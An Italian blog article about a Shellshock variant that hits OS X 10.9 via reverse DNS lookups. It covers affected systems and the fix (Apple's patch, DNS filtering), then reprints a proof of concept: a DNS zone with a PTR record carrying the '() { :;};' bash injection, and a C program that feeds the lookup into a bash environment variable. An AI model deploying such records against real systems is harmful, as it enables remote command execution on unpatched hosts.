OS X 10.9 vulnerabile a Shellshock tramite DNS reverse lookup

OS X 10.9 vulnerabile a Shellshock tramite DNS reverse lookup

Ieri è stato pubblicata una nuova falla informatica, l’ennesima che riguarda ShellShock, a cui i sistemi operativi della Apple sono vulnerabili senza l’applicazione dell’apposita patch che è stata rilasciata (link). Il security advisory, di fatto, descrive un potenziale attacco informatico mediante record DNS, in particolare nella variante reverse DNS, come possibile veicolo di infezione di malware e script malevoli arbitrari (DNS Reverse Lookup as a vector for the Bash vulnerability – CVE-2014-6271 et.al.).

Tophost a 10,99

Come sappiamo Shellshock, noto a volte anche come Bashdoor, è un’intera famiglia di bug di sicurezza che sfrutta una caratteristica di molti sistemi Linux e UNIX (anche Mac, quindi, per quanto nelle versioni client relativamente mitigata) che è stata scoperta pubblicamente il 24 settembre di quest’anno, e che interessa molti dispositivi connessi ad internet (server di vario genere, così “l’internet delle cose). Risulta possibile, ad un attaccante, sfruttare alcune caratteristiche del server web attaccato come la cgi-bin oppure DHCP per eseguire, manipolando variabili d’ambiente, comandi arbitrari con gli stessi privilegi dell’utente connesso in quel momento. Quello riportato in questa sede è un nuovo possibile vettore d’attacco, che sfrutta il reverse DNS lookup basandosi sul fatto che quelle informazioni vengano trasmesse alla variabile di ambiente che non viene parsata correttamente dalla shell.

Pubblicità:
Pubblicità:

Tutte le versioni di OSX 10.9 e 10.10/R2 sono affette da questo tipo di problema, e la soluzione è quella di installare la patch rilasciata dalla Apple ufficialmente. Altri sistemi operativi come RHEL6, Centos, FreeBSD 7 non presentano invece questo problema poichè vengono sfruttati meccanismi di escape che aggirano il problema lato codice. Per risolvere la falla è necessario filtrare opportunamente il traffico DNS al sito.

Un esempio di attacco è il seguente:

$TTL 10;
$ORIGIN in-addr.arpa.
@ IN SOA ns.boem.wleiden.net dirkx.webweaving.org (
666 ; serial
360 180 3600 1800 ; very short lifespan.
)
IN NS 127.0.0.1
* PTR "() { :;}; echo CVE-2014-6271, CVE-201407169, RDNS"

che può essere utilizzato con il seguente frammento di codice C:

#include <sys/socket.h>
#include <netdb.h>
#include <assert.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>

int main(int argc, char ** argv) {
struct in_addr addr;
struct sockaddr_in sa;
char host[1024];

assert(argc==2);
assert(inet_aton(argv[1],&addr) == 1);

sa.sin_family = AF_INET;
sa.sin_addr = addr;

assert(0==getnameinfo((struct sockaddr *)&sa, sizeof sa,
host, sizeof host, NULL, 0, NI_NAMEREQD));

printf("Lookup result: %s\n\n", host);

assert(setenv("REMOTE_HOST",host,1) == 0);
execl("/bin/bash",NULL);
}

Informazioni sull'autore

Salvatore Capolupo

Ingegnere informatico, consulente SEO, copywriter ed ideatore di trovalost.it. Di solito, passo inosservato: e non ne approfitto neanche un po'.
Ti piace questo articolo?

0 voti

Su Trovalost.it puntiamo sulla qualità dei contenuti da quando siamo nati: la tua sincera valutazione può aiutarci a migliorare ogni giorno.